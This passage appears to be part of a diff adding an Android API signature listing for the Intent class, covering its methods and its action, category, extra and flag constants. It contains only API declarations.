+    method public void removeExtra(String);
+    method public void removeFlags(int);
+    method @NonNull public android.content.Intent replaceExtras(@NonNull android.content.Intent);
+    method @NonNull public android.content.Intent replaceExtras(@Nullable android.os.Bundle);
+    method public android.content.ComponentName resolveActivity(@NonNull android.content.pm.PackageManager);
+    method public android.content.pm.ActivityInfo resolveActivityInfo(@NonNull android.content.pm.PackageManager, int);
+    method @Nullable public String resolveType(@NonNull android.content.Context);
+    method @Nullable public String resolveType(@NonNull android.content.ContentResolver);
+    method @Nullable public String resolveTypeIfNeeded(@NonNull android.content.ContentResolver);
+    method @NonNull public android.content.Intent setAction(@Nullable String);
+    method @NonNull public android.content.Intent setClass(@NonNull android.content.Context, @NonNull Class<?>);
+    method @NonNull public android.content.Intent setClassName(@NonNull android.content.Context, @NonNull String);
+    method @NonNull public android.content.Intent setClassName(@NonNull String, @NonNull String);
+    method public void setClipData(@Nullable android.content.ClipData);
+    method @NonNull public android.content.Intent setComponent(@Nullable android.content.ComponentName);
+    method @NonNull public android.content.Intent setData(@Nullable android.net.Uri);
+    method @NonNull public android.content.Intent setDataAndNormalize(@NonNull android.net.Uri);
+    method @NonNull public android.content.Intent setDataAndType(@Nullable android.net.Uri, @Nullable String);
+    method @NonNull public android.content.Intent setDataAndTypeAndNormalize(@NonNull android.net.Uri, @Nullable String);
+    method public void setExtrasClassLoader(@Nullable ClassLoader);
+    method @NonNull public android.content.Intent setFlags(int);
+    method @NonNull public android.content.Intent setIdentifier(@Nullable String);
+    method @NonNull public android.content.Intent setPackage(@Nullable String);
+    method public void setSelector(@Nullable android.content.Intent);
+    method public void setSourceBounds(@Nullable android.graphics.Rect);
+    method @NonNull public android.content.Intent setType(@Nullable String);
+    method @NonNull public android.content.Intent setTypeAndNormalize(@Nullable String);
+    method @Deprecated public String toURI();
+    method public String toUri(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final String ACTION_AIRPLANE_MODE_CHANGED = "android.intent.action.AIRPLANE_MODE";
+    field public static final String ACTION_ALL_APPS = "android.intent.action.ALL_APPS";
+    field public static final String ACTION_ANSWER = "android.intent.action.ANSWER";
+    field public static final String ACTION_APPLICATION_PREFERENCES = "android.intent.action.APPLICATION_PREFERENCES";
+    field public static final String ACTION_APPLICATION_RESTRICTIONS_CHANGED = "android.intent.action.APPLICATION_RESTRICTIONS_CHANGED";
+    field public static final String ACTION_APP_ERROR = "android.intent.action.APP_ERROR";
+    field public static final String ACTION_ASSIST = "android.intent.action.ASSIST";
+    field public static final String ACTION_ATTACH_DATA = "android.intent.action.ATTACH_DATA";
+    field public static final String ACTION_AUTO_REVOKE_PERMISSIONS = "android.intent.action.AUTO_REVOKE_PERMISSIONS";
+    field public static final String ACTION_BATTERY_CHANGED = "android.intent.action.BATTERY_CHANGED";
+    field public static final String ACTION_BATTERY_LOW = "android.intent.action.BATTERY_LOW";
+    field public static final String ACTION_BATTERY_OKAY = "android.intent.action.BATTERY_OKAY";
+    field public static final String ACTION_BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED";
+    field public static final String ACTION_BUG_REPORT = "android.intent.action.BUG_REPORT";
+    field public static final String ACTION_CALL = "android.intent.action.CALL";
+    field public static final String ACTION_CALL_BUTTON = "android.intent.action.CALL_BUTTON";
+    field public static final String ACTION_CAMERA_BUTTON = "android.intent.action.CAMERA_BUTTON";
+    field public static final String ACTION_CARRIER_SETUP = "android.intent.action.CARRIER_SETUP";
+    field public static final String ACTION_CHOOSER = "android.intent.action.CHOOSER";
+    field @Deprecated @RequiresPermission("android.permission.BROADCAST_CLOSE_SYSTEM_DIALOGS") public static final String ACTION_CLOSE_SYSTEM_DIALOGS = "android.intent.action.CLOSE_SYSTEM_DIALOGS";
+    field public static final String ACTION_CONFIGURATION_CHANGED = "android.intent.action.CONFIGURATION_CHANGED";
+    field public static final String ACTION_CREATE_DOCUMENT = "android.intent.action.CREATE_DOCUMENT";
+    field public static final String ACTION_CREATE_REMINDER = "android.intent.action.CREATE_REMINDER";
+    field public static final String ACTION_CREATE_SHORTCUT = "android.intent.action.CREATE_SHORTCUT";
+    field public static final String ACTION_DATE_CHANGED = "android.intent.action.DATE_CHANGED";
+    field public static final String ACTION_DEFAULT = "android.intent.action.VIEW";
+    field public static final String ACTION_DEFINE = "android.intent.action.DEFINE";
+    field public static final String ACTION_DELETE = "android.intent.action.DELETE";
+    field @Deprecated public static final String ACTION_DEVICE_STORAGE_LOW = "android.intent.action.DEVICE_STORAGE_LOW";
+    field @Deprecated public static final String ACTION_DEVICE_STORAGE_OK = "android.intent.action.DEVICE_STORAGE_OK";
+    field public static final String ACTION_DIAL = "android.intent.action.DIAL";
+    field public static final String ACTION_DOCK_EVENT = "android.intent.action.DOCK_EVENT";
+    field public static final String ACTION_DREAMING_STARTED = "android.intent.action.DREAMING_STARTED";
+    field public static final String ACTION_DREAMING_STOPPED = "android.intent.action.DREAMING_STOPPED";
+    field public static final String ACTION_EDIT = "android.intent.action.EDIT";
+    field public static final String ACTION_EXTERNAL_APPLICATIONS_AVAILABLE = "android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE";
+    field public static final String ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE = "android.intent.action.EXTERNAL_APPLICATIONS_UNAVAILABLE";
+    field public static final String ACTION_FACTORY_TEST = "android.intent.action.FACTORY_TEST";
+    field public static final String ACTION_GET_CONTENT = "android.intent.action.GET_CONTENT";
+    field public static final String ACTION_GET_RESTRICTION_ENTRIES = "android.intent.action.GET_RESTRICTION_ENTRIES";
+    field public static final String ACTION_GTALK_SERVICE_CONNECTED = "android.intent.action.GTALK_CONNECTED";
+    field public static final String ACTION_GTALK_SERVICE_DISCONNECTED = "android.intent.action.GTALK_DISCONNECTED";
+    field public static final String ACTION_HEADSET_PLUG = "android.intent.action.HEADSET_PLUG";
+    field public static final String ACTION_INPUT_METHOD_CHANGED = "android.intent.action.INPUT_METHOD_CHANGED";
+    field public static final String ACTION_INSERT = "android.intent.action.INSERT";
+    field public static final String ACTION_INSERT_OR_EDIT = "android.intent.action.INSERT_OR_EDIT";
+    field public static final String ACTION_INSTALL_FAILURE = "android.intent.action.INSTALL_FAILURE";
+    field @Deprecated public static final String ACTION_INSTALL_PACKAGE = "android.intent.action.INSTALL_PACKAGE";
+    field public static final String ACTION_LOCALE_CHANGED = "android.intent.action.LOCALE_CHANGED";
+    field public static final String ACTION_LOCKED_BOOT_COMPLETED = "android.intent.action.LOCKED_BOOT_COMPLETED";
+    field public static final String ACTION_MAIN = "android.intent.action.MAIN";
+    field public static final String ACTION_MANAGED_PROFILE_ADDED = "android.intent.action.MANAGED_PROFILE_ADDED";
+    field public static final String ACTION_MANAGED_PROFILE_AVAILABLE = "android.intent.action.MANAGED_PROFILE_AVAILABLE";
+    field public static final String ACTION_MANAGED_PROFILE_REMOVED = "android.intent.action.MANAGED_PROFILE_REMOVED";
+    field public static final String ACTION_MANAGED_PROFILE_UNAVAILABLE = "android.intent.action.MANAGED_PROFILE_UNAVAILABLE";
+    field public static final String ACTION_MANAGED_PROFILE_UNLOCKED = "android.intent.action.MANAGED_PROFILE_UNLOCKED";
+    field public static final String ACTION_MANAGE_NETWORK_USAGE = "android.intent.action.MANAGE_NETWORK_USAGE";
+    field public static final String ACTION_MANAGE_PACKAGE_STORAGE = "android.intent.action.MANAGE_PACKAGE_STORAGE";
+    field public static final String ACTION_MANAGE_UNUSED_APPS = "android.intent.action.MANAGE_UNUSED_APPS";
+    field public static final String ACTION_MEDIA_BAD_REMOVAL = "android.intent.action.MEDIA_BAD_REMOVAL";
+    field public static final String ACTION_MEDIA_BUTTON = "android.intent.action.MEDIA_BUTTON";
+    field public static final String ACTION_MEDIA_CHECKING = "android.intent.action.MEDIA_CHECKING";
+    field public static final String ACTION_MEDIA_EJECT = "android.intent.action.MEDIA_EJECT";
+    field public static final String ACTION_MEDIA_MOUNTED = "android.intent.action.MEDIA_MOUNTED";
+    field public static final String ACTION_MEDIA_NOFS = "android.intent.action.MEDIA_NOFS";
+    field public static final String ACTION_MEDIA_REMOVED = "android.intent.action.MEDIA_REMOVED";
+    field public static final String ACTION_MEDIA_SCANNER_FINISHED = "android.intent.action.MEDIA_SCANNER_FINISHED";
+    field @Deprecated public static final String ACTION_MEDIA_SCANNER_SCAN_FILE = "android.intent.action.MEDIA_SCANNER_SCAN_FILE";
+    field public static final String ACTION_MEDIA_SCANNER_STARTED = "android.intent.action.MEDIA_SCANNER_STARTED";
+    field public static final String ACTION_MEDIA_SHARED = "android.intent.action.MEDIA_SHARED";
+    field public static final String ACTION_MEDIA_UNMOUNTABLE = "android.intent.action.MEDIA_UNMOUNTABLE";
+    field public static final String ACTION_MEDIA_UNMOUNTED = "android.intent.action.MEDIA_UNMOUNTED";
+    field public static final String ACTION_MY_PACKAGE_REPLACED = "android.intent.action.MY_PACKAGE_REPLACED";
+    field public static final String ACTION_MY_PACKAGE_SUSPENDED = "android.intent.action.MY_PACKAGE_SUSPENDED";
+    field public static final String ACTION_MY_PACKAGE_UNSUSPENDED = "android.intent.action.MY_PACKAGE_UNSUSPENDED";
+    field @Deprecated public static final String ACTION_NEW_OUTGOING_CALL = "android.intent.action.NEW_OUTGOING_CALL";
+    field public static final String ACTION_OPEN_DOCUMENT = "android.intent.action.OPEN_DOCUMENT";
+    field public static final String ACTION_OPEN_DOCUMENT_TREE = "android.intent.action.OPEN_DOCUMENT_TREE";
+    field public static final String ACTION_PACKAGES_SUSPENDED = "android.intent.action.PACKAGES_SUSPENDED";
+    field public static final String ACTION_PACKAGES_UNSUSPENDED = "android.intent.action.PACKAGES_UNSUSPENDED";
+    field public static final String ACTION_PACKAGE_ADDED = "android.intent.action.PACKAGE_ADDED";
+    field public static final String ACTION_PACKAGE_CHANGED = "android.intent.action.PACKAGE_CHANGED";
+    field public static final String ACTION_PACKAGE_DATA_CLEARED = "android.intent.action.PACKAGE_DATA_CLEARED";
+    field public static final String ACTION_PACKAGE_FIRST_LAUNCH = "android.intent.action.PACKAGE_FIRST_LAUNCH";
+    field public static final String ACTION_PACKAGE_FULLY_REMOVED = "android.intent.action.PACKAGE_FULLY_REMOVED";
+    field @Deprecated public static final String ACTION_PACKAGE_INSTALL = "android.intent.action.PACKAGE_INSTALL";
+    field public static final String ACTION_PACKAGE_NEEDS_VERIFICATION = "android.intent.action.PACKAGE_NEEDS_VERIFICATION";
+    field public static final String ACTION_PACKAGE_REMOVED = "android.intent.action.PACKAGE_REMOVED";
+    field public static final String ACTION_PACKAGE_REPLACED = "android.intent.action.PACKAGE_REPLACED";
+    field public static final String ACTION_PACKAGE_RESTARTED = "android.intent.action.PACKAGE_RESTARTED";
+    field public static final String ACTION_PACKAGE_VERIFIED = "android.intent.action.PACKAGE_VERIFIED";
+    field public static final String ACTION_PASTE = "android.intent.action.PASTE";
+    field public static final String ACTION_PICK = "android.intent.action.PICK";
+    field public static final String ACTION_PICK_ACTIVITY = "android.intent.action.PICK_ACTIVITY";
+    field public static final String ACTION_POWER_CONNECTED = "android.intent.action.ACTION_POWER_CONNECTED";
+    field public static final String ACTION_POWER_DISCONNECTED = "android.intent.action.ACTION_POWER_DISCONNECTED";
+    field public static final String ACTION_POWER_USAGE_SUMMARY = "android.intent.action.POWER_USAGE_SUMMARY";
+    field public static final String ACTION_PROCESS_TEXT = "android.intent.action.PROCESS_TEXT";
+    field public static final String ACTION_PROFILE_ACCESSIBLE = "android.intent.action.PROFILE_ACCESSIBLE";
+    field public static final String ACTION_PROFILE_INACCESSIBLE = "android.intent.action.PROFILE_INACCESSIBLE";
+    field public static final String ACTION_PROVIDER_CHANGED = "android.intent.action.PROVIDER_CHANGED";
+    field public static final String ACTION_QUICK_CLOCK = "android.intent.action.QUICK_CLOCK";
+    field public static final String ACTION_QUICK_VIEW = "android.intent.action.QUICK_VIEW";
+    field public static final String ACTION_REBOOT = "android.intent.action.REBOOT";
+    field public static final String ACTION_RUN = "android.intent.action.RUN";
+    field public static final String ACTION_SCREEN_OFF = "android.intent.action.SCREEN_OFF";
+    field public static final String ACTION_SCREEN_ON = "android.intent.action.SCREEN_ON";
+    field public static final String ACTION_SEARCH = "android.intent.action.SEARCH";
+    field public static final String ACTION_SEARCH_LONG_PRESS = "android.intent.action.SEARCH_LONG_PRESS";
+    field public static final String ACTION_SEND = "android.intent.action.SEND";
+    field public static final String ACTION_SENDTO = "android.intent.action.SENDTO";
+    field public static final String ACTION_SEND_MULTIPLE = "android.intent.action.SEND_MULTIPLE";
+    field public static final String ACTION_SET_WALLPAPER = "android.intent.action.SET_WALLPAPER";
+    field public static final String ACTION_SHOW_APP_INFO = "android.intent.action.SHOW_APP_INFO";
+    field public static final String ACTION_SHUTDOWN = "android.intent.action.ACTION_SHUTDOWN";
+    field public static final String ACTION_SYNC = "android.intent.action.SYNC";
+    field public static final String ACTION_SYSTEM_TUTORIAL = "android.intent.action.SYSTEM_TUTORIAL";
+    field public static final String ACTION_TIMEZONE_CHANGED = "android.intent.action.TIMEZONE_CHANGED";
+    field public static final String ACTION_TIME_CHANGED = "android.intent.action.TIME_SET";
+    field public static final String ACTION_TIME_TICK = "android.intent.action.TIME_TICK";
+    field public static final String ACTION_TRANSLATE = "android.intent.action.TRANSLATE";
+    field public static final String ACTION_UID_REMOVED = "android.intent.action.UID_REMOVED";
+    field @Deprecated public static final String ACTION_UMS_CONNECTED = "android.intent.action.UMS_CONNECTED";
+    field @Deprecated public static final String ACTION_UMS_DISCONNECTED = "android.intent.action.UMS_DISCONNECTED";
+    field @Deprecated public static final String ACTION_UNINSTALL_PACKAGE = "android.intent.action.UNINSTALL_PACKAGE";
+    field public static final String ACTION_USER_BACKGROUND = "android.intent.action.USER_BACKGROUND";
+    field public static final String ACTION_USER_FOREGROUND = "android.intent.action.USER_FOREGROUND";
+    field public static final String ACTION_USER_INITIALIZE = "android.intent.action.USER_INITIALIZE";
+    field public static final String ACTION_USER_PRESENT = "android.intent.action.USER_PRESENT";
+    field public static final String ACTION_USER_UNLOCKED = "android.intent.action.USER_UNLOCKED";
+    field public static final String ACTION_VIEW = "android.intent.action.VIEW";
+    field public static final String ACTION_VIEW_LOCUS = "android.intent.action.VIEW_LOCUS";
+    field @RequiresPermission(android.Manifest.permission.START_VIEW_PERMISSION_USAGE) public static final String ACTION_VIEW_PERMISSION_USAGE = "android.intent.action.VIEW_PERMISSION_USAGE";
+    field @RequiresPermission(android.Manifest.permission.START_VIEW_PERMISSION_USAGE) public static final String ACTION_VIEW_PERMISSION_USAGE_FOR_PERIOD = "android.intent.action.VIEW_PERMISSION_USAGE_FOR_PERIOD";
+    field public static final String ACTION_VOICE_COMMAND = "android.intent.action.VOICE_COMMAND";
+    field @Deprecated public static final String ACTION_WALLPAPER_CHANGED = "android.intent.action.WALLPAPER_CHANGED";
+    field public static final String ACTION_WEB_SEARCH = "android.intent.action.WEB_SEARCH";
+    field public static final String CATEGORY_ACCESSIBILITY_SHORTCUT_TARGET = "android.intent.category.ACCESSIBILITY_SHORTCUT_TARGET";
+    field public static final String CATEGORY_ALTERNATIVE = "android.intent.category.ALTERNATIVE";
+    field public static final String CATEGORY_APP_BROWSER = "android.intent.category.APP_BROWSER";
+    field public static final String CATEGORY_APP_CALCULATOR = "android.intent.category.APP_CALCULATOR";
+    field public static final String CATEGORY_APP_CALENDAR = "android.intent.category.APP_CALENDAR";
+    field public static final String CATEGORY_APP_CONTACTS = "android.intent.category.APP_CONTACTS";
+    field public static final String CATEGORY_APP_EMAIL = "android.intent.category.APP_EMAIL";
+    field public static final String CATEGORY_APP_FILES = "android.intent.category.APP_FILES";
+    field public static final String CATEGORY_APP_GALLERY = "android.intent.category.APP_GALLERY";
+    field public static final String CATEGORY_APP_MAPS = "android.intent.category.APP_MAPS";
+    field public static final String CATEGORY_APP_MARKET = "android.intent.category.APP_MARKET";
+    field public static final String CATEGORY_APP_MESSAGING = "android.intent.category.APP_MESSAGING";
+    field public static final String CATEGORY_APP_MUSIC = "android.intent.category.APP_MUSIC";
+    field public static final String CATEGORY_BROWSABLE = "android.intent.category.BROWSABLE";
+    field public static final String CATEGORY_CAR_DOCK = "android.intent.category.CAR_DOCK";
+    field public static final String CATEGORY_CAR_MODE = "android.intent.category.CAR_MODE";
+    field public static final String CATEGORY_DEFAULT = "android.intent.category.DEFAULT";
+    field public static final String CATEGORY_DESK_DOCK = "android.intent.category.DESK_DOCK";
+    field public static final String CATEGORY_DEVELOPMENT_PREFERENCE = "android.intent.category.DEVELOPMENT_PREFERENCE";
+    field public static final String CATEGORY_EMBED = "android.intent.category.EMBED";
+    field public static final String CATEGORY_FRAMEWORK_INSTRUMENTATION_TEST = "android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST";
+    field public static final String CATEGORY_HE_DESK_DOCK = "android.intent.category.HE_DESK_DOCK";
+    field public static final String CATEGORY_HOME = "android.intent.category.HOME";
+    field public static final String CATEGORY_INFO = "android.intent.category.INFO";
+    field public static final String CATEGORY_LAUNCHER = "android.intent.category.LAUNCHER";
+    field public static final String CATEGORY_LEANBACK_LAUNCHER = "android.intent.category.LEANBACK_LAUNCHER";
+    field public static final String CATEGORY_LE_DESK_DOCK = "android.intent.category.LE_DESK_DOCK";
+    field public static final String CATEGORY_MONKEY = "android.intent.category.MONKEY";
+    field public static final String CATEGORY_OPENABLE = "android.intent.category.OPENABLE";
+    field public static final String CATEGORY_PREFERENCE = "android.intent.category.PREFERENCE";
+    field public static final String CATEGORY_SAMPLE_CODE = "android.intent.category.SAMPLE_CODE";
+    field public static final String CATEGORY_SECONDARY_HOME = "android.intent.category.SECONDARY_HOME";
+    field public static final String CATEGORY_SELECTED_ALTERNATIVE = "android.intent.category.SELECTED_ALTERNATIVE";
+    field public static final String CATEGORY_TAB = "android.intent.category.TAB";
+    field public static final String CATEGORY_TEST = "android.intent.category.TEST";
+    field public static final String CATEGORY_TYPED_OPENABLE = "android.intent.category.TYPED_OPENABLE";
+    field public static final String CATEGORY_UNIT_TEST = "android.intent.category.UNIT_TEST";
+    field public static final String CATEGORY_VOICE = "android.intent.category.VOICE";
+    field public static final String CATEGORY_VR_HOME = "android.intent.category.VR_HOME";
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.Intent> CREATOR;
+    field public static final String EXTRA_ALARM_COUNT = "android.intent.extra.ALARM_COUNT";
+    field public static final String EXTRA_ALLOW_MULTIPLE = "android.intent.extra.ALLOW_MULTIPLE";
+    field @Deprecated public static final String EXTRA_ALLOW_REPLACE = "android.intent.extra.ALLOW_REPLACE";
+    field public static final String EXTRA_ALTERNATE_INTENTS = "android.intent.extra.ALTERNATE_INTENTS";
+    field public static final String EXTRA_ASSIST_CONTEXT = "android.intent.extra.ASSIST_CONTEXT";
+    field public static final String EXTRA_ASSIST_INPUT_DEVICE_ID = "android.intent.extra.ASSIST_INPUT_DEVICE_ID";
+    field public static final String EXTRA_ASSIST_INPUT_HINT_KEYBOARD = "android.intent.extra.ASSIST_INPUT_HINT_KEYBOARD";
+    field public static final String EXTRA_ASSIST_PACKAGE = "android.intent.extra.ASSIST_PACKAGE";
+    field public static final String EXTRA_ASSIST_UID = "android.intent.extra.ASSIST_UID";
+    field public static final String EXTRA_ATTRIBUTION_TAGS = "android.intent.extra.ATTRIBUTION_TAGS";
+    field public static final String EXTRA_AUTO_LAUNCH_SINGLE_CHOICE = "android.intent.extra.AUTO_LAUNCH_SINGLE_CHOICE";
+    field public static final String EXTRA_BCC = "android.intent.extra.BCC";
+    field public static final String EXTRA_BUG_REPORT = "android.intent.extra.BUG_REPORT";
+    field public static final String EXTRA_CC = "android.intent.extra.CC";
+    field @Deprecated public static final String EXTRA_CHANGED_COMPONENT_NAME = "android.intent.extra.changed_component_name";
+    field public static final String EXTRA_CHANGED_COMPONENT_NAME_LIST = "android.intent.extra.changed_component_name_list";
+    field public static final String EXTRA_CHANGED_PACKAGE_LIST = "android.intent.extra.changed_package_list";
+    field public static final String EXTRA_CHANGED_UID_LIST = "android.intent.extra.changed_uid_list";
+    field public static final String EXTRA_CHOOSER_REFINEMENT_INTENT_SENDER = "android.intent.extra.CHOOSER_REFINEMENT_INTENT_SENDER";
+    field public static final String EXTRA_CHOOSER_TARGETS = "android.intent.extra.CHOOSER_TARGETS";
+    field public static final String EXTRA_CHOSEN_COMPONENT = "android.intent.extra.CHOSEN_COMPONENT";
+    field public static final String EXTRA_CHOSEN_COMPONENT_INTENT_SENDER = "android.intent.extra.CHOSEN_COMPONENT_INTENT_SENDER";
+    field public static final String EXTRA_COMPONENT_NAME = "android.intent.extra.COMPONENT_NAME";
+    field public static final String EXTRA_CONTENT_ANNOTATIONS = "android.intent.extra.CONTENT_ANNOTATIONS";
+    field public static final String EXTRA_CONTENT_QUERY = "android.intent.extra.CONTENT_QUERY";
+    field public static final String EXTRA_DATA_REMOVED = "android.intent.extra.DATA_REMOVED";
+    field public static final String EXTRA_DOCK_STATE = "android.intent.extra.DOCK_STATE";
+    field public static final int EXTRA_DOCK_STATE_CAR = 2; // 0x2
+    field public static final int EXTRA_DOCK_STATE_DESK = 1; // 0x1
+    field public static final int EXTRA_DOCK_STATE_HE_DESK = 4; // 0x4
+    field public static final int EXTRA_DOCK_STATE_LE_DESK = 3; // 0x3
+    field public static final int EXTRA_DOCK_STATE_UNDOCKED = 0; // 0x0
+    field public static final String EXTRA_DONT_KILL_APP = "android.intent.extra.DONT_KILL_APP";
+    field public static final String EXTRA_DURATION_MILLIS = "android.intent.extra.DURATION_MILLIS";
+    field public static final String EXTRA_EMAIL = "android.intent.extra.EMAIL";
+    field public static final String EXTRA_END_TIME = "android.intent.extra.END_TIME";
+    field public static final String EXTRA_EXCLUDE_COMPONENTS = "android.intent.extra.EXCLUDE_COMPONENTS";
+    field public static final String EXTRA_FROM_STORAGE = "android.intent.extra.FROM_STORAGE";
+    field public static final String EXTRA_HTML_TEXT = "android.intent.extra.HTML_TEXT";
+    field public static final String EXTRA_INDEX = "android.intent.extra.INDEX";
+    field public static final String EXTRA_INITIAL_INTENTS = "android.intent.extra.INITIAL_INTENTS";
+    field public static final String EXTRA_INSTALLER_PACKAGE_NAME = "android.intent.extra.INSTALLER_PACKAGE_NAME";
+    field public static final String EXTRA_INTENT = "android.intent.extra.INTENT";
+    field public static final String EXTRA_KEY_EVENT = "android.intent.extra.KEY_EVENT";
+    field public static final String EXTRA_LOCAL_ONLY = "android.intent.extra.LOCAL_ONLY";
+    field public static final String EXTRA_LOCUS_ID = "android.intent.extra.LOCUS_ID";
+    field public static final String EXTRA_MIME_TYPES = "android.intent.extra.MIME_TYPES";
+    field public static final String EXTRA_NOT_UNKNOWN_SOURCE = "android.intent.extra.NOT_UNKNOWN_SOURCE";
+    field public static final String EXTRA_ORIGINATING_URI = "android.intent.extra.ORIGINATING_URI";
+    field public static final String EXTRA_PACKAGE_NAME = "android.intent.extra.PACKAGE_NAME";
+    field public static final String EXTRA_PERMISSION_GROUP_NAME = "android.intent.extra.PERMISSION_GROUP_NAME";
+    field public static final String EXTRA_PHONE_NUMBER = "android.intent.extra.PHONE_NUMBER";
+    field public static final String EXTRA_PROCESS_TEXT = "android.intent.extra.PROCESS_TEXT";
+    field public static final String EXTRA_PROCESS_TEXT_READONLY = "android.intent.extra.PROCESS_TEXT_READONLY";
+    field public static final String EXTRA_QUICK_VIEW_FEATURES = "android.intent.extra.QUICK_VIEW_FEATURES";
+    field public static final String EXTRA_QUIET_MODE = "android.intent.extra.QUIET_MODE";
+    field public static final String EXTRA_REFERRER = "android.intent.extra.REFERRER";
+    field public static final String EXTRA_REFERRER_NAME = "android.intent.extra.REFERRER_NAME";
+    field public static final String EXTRA_REMOTE_INTENT_TOKEN = "android.intent.extra.remote_intent_token";
+    field public static final String EXTRA_REPLACEMENT_EXTRAS = "android.intent.extra.REPLACEMENT_EXTRAS";
+    field public static final String EXTRA_REPLACING = "android.intent.extra.REPLACING";
+    field public static final String EXTRA_RESTRICTIONS_BUNDLE = "android.intent.extra.restrictions_bundle";
+    field public static final String EXTRA_RESTRICTIONS_INTENT = "android.intent.extra.restrictions_intent";
+    field public static final String EXTRA_RESTRICTIONS_LIST = "android.intent.extra.restrictions_list";
+    field public static final String EXTRA_RESULT_RECEIVER = "android.intent.extra.RESULT_RECEIVER";
+    field public static final String EXTRA_RETURN_RESULT = "android.intent.extra.RETURN_RESULT";
+    field @Deprecated public static final String EXTRA_SHORTCUT_ICON = "android.intent.extra.shortcut.ICON";
+    field @Deprecated public static final String EXTRA_SHORTCUT_ICON_RESOURCE = "android.intent.extra.shortcut.ICON_RESOURCE";
+    field public static final String EXTRA_SHORTCUT_ID = "android.intent.extra.shortcut.ID";
+    field @Deprecated public static final String EXTRA_SHORTCUT_INTENT = "android.intent.extra.shortcut.INTENT";
+    field @Deprecated public static final String EXTRA_SHORTCUT_NAME = "android.intent.extra.shortcut.NAME";
+    field public static final String EXTRA_SHUTDOWN_USERSPACE_ONLY = "android.intent.extra.SHUTDOWN_USERSPACE_ONLY";
+    field public static final String EXTRA_SPLIT_NAME = "android.intent.extra.SPLIT_NAME";
+    field public static final String EXTRA_START_TIME = "android.intent.extra.START_TIME";
+    field public static final String EXTRA_STREAM = "android.intent.extra.STREAM";
+    field public static final String EXTRA_SUBJECT = "android.intent.extra.SUBJECT";
+    field public static final String EXTRA_SUSPENDED_PACKAGE_EXTRAS = "android.intent.extra.SUSPENDED_PACKAGE_EXTRAS";
+    field public static final String EXTRA_TEMPLATE = "android.intent.extra.TEMPLATE";
+    field public static final String EXTRA_TEXT = "android.intent.extra.TEXT";
+    field public static final String EXTRA_TIME = "android.intent.extra.TIME";
+    field public static final String EXTRA_TIMEZONE = "time-zone";
+    field public static final String EXTRA_TITLE = "android.intent.extra.TITLE";
+    field public static final String EXTRA_UID = "android.intent.extra.UID";
+    field public static final String EXTRA_USER = "android.intent.extra.USER";
+    field public static final String EXTRA_USER_INITIATED = "android.intent.extra.USER_INITIATED";
+    field public static final int FILL_IN_ACTION = 1; // 0x1
+    field public static final int FILL_IN_CATEGORIES = 4; // 0x4
+    field public static final int FILL_IN_CLIP_DATA = 128; // 0x80
+    field public static final int FILL_IN_COMPONENT = 8; // 0x8
+    field public static final int FILL_IN_DATA = 2; // 0x2
+    field public static final int FILL_IN_IDENTIFIER = 256; // 0x100
+    field public static final int FILL_IN_PACKAGE = 16; // 0x10
+    field public static final int FILL_IN_SELECTOR = 64; // 0x40
+    field public static final int FILL_IN_SOURCE_BOUNDS = 32; // 0x20
+    field public static final int FLAG_ACTIVITY_BROUGHT_TO_FRONT = 4194304; // 0x400000
+    field public static final int FLAG_ACTIVITY_CLEAR_TASK = 32768; // 0x8000
+    field public static final int FLAG_ACTIVITY_CLEAR_TOP = 67108864; // 0x4000000
+    field @Deprecated public static final int FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET = 524288; // 0x80000
+    field public static final int FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS = 8388608; // 0x800000
+    field public static final int FLAG_ACTIVITY_FORWARD_RESULT = 33554432; // 0x2000000
+    field public static final int FLAG_ACTIVITY_LAUNCHED_FROM_HISTORY = 1048576; // 0x100000
+    field public static final int FLAG_ACTIVITY_LAUNCH_ADJACENT = 4096; // 0x1000
+    field public static final int FLAG_ACTIVITY_MATCH_EXTERNAL = 2048; // 0x800
+    field public static final int FLAG_ACTIVITY_MULTIPLE_TASK = 134217728; // 0x8000000
+    field public static final int FLAG_ACTIVITY_NEW_DOCUMENT = 524288; // 0x80000
+    field public static final int FLAG_ACTIVITY_NEW_TASK = 268435456; // 0x10000000
+    field public static final int FLAG_ACTIVITY_NO_ANIMATION = 65536; // 0x10000
+    field public static final int FLAG_ACTIVITY_NO_HISTORY = 1073741824; // 0x40000000
+    field public static final int FLAG_ACTIVITY_NO_USER_ACTION = 262144; // 0x40000
+    field public static final int FLAG_ACTIVITY_PREVIOUS_IS_TOP = 16777216; // 0x1000000
+    field public static final int FLAG_ACTIVITY_REORDER_TO_FRONT = 131072; // 0x20000
+    field public static final int FLAG_ACTIVITY_REQUIRE_DEFAULT = 512; // 0x200
+    field public static final int FLAG_ACTIVITY_REQUIRE_NON_BROWSER = 1024; // 0x400
+    field public static final int FLAG_ACTIVITY_RESET_TASK_IF_NEEDED = 2097152; // 0x200000
+    field public static final int FLAG_ACTIVITY_RETAIN_IN_RECENTS = 8192; // 0x2000
+    field public static final int FLAG_ACTIVITY_SINGLE_TOP = 536870912; // 0x20000000
+    field public static final int FLAG_ACTIVITY_TASK_ON_HOME = 16384; // 0x4000
+    field public static final int FLAG_DEBUG_LOG_RESOLUTION = 8; // 0x8
+    field public static final int FLAG_DIRECT_BOOT_AUTO = 256; // 0x100
+    field public static final int FLAG_EXCLUDE_STOPPED_PACKAGES = 16; // 0x10
+    field public static final int FLAG_FROM_BACKGROUND = 4; // 0x4
+    field public static final int FLAG_GRANT_PERSISTABLE_URI_PERMISSION = 64; // 0x40
+    field public static final int FLAG_GRANT_PREFIX_URI_PERMISSION = 128; // 0x80
+    field public static final int FLAG_GRANT_READ_URI_PERMISSION = 1; // 0x1
+    field public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 2; // 0x2
+    field public static final int FLAG_INCLUDE_STOPPED_PACKAGES = 32; // 0x20
+    field public static final int FLAG_RECEIVER_FOREGROUND = 268435456; // 0x10000000
+    field public static final int FLAG_RECEIVER_NO_ABORT = 134217728; // 0x8000000
+    field public static final int FLAG_RECEIVER_REGISTERED_ONLY = 1073741824; // 0x40000000
+    field public static final int FLAG_RECEIVER_REPLACE_PENDING = 536870912; // 0x20000000
+    field public static final int FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS = 2097152; // 0x200000
+    field public static final String METADATA_DOCK_HOME = "android.dock_home";
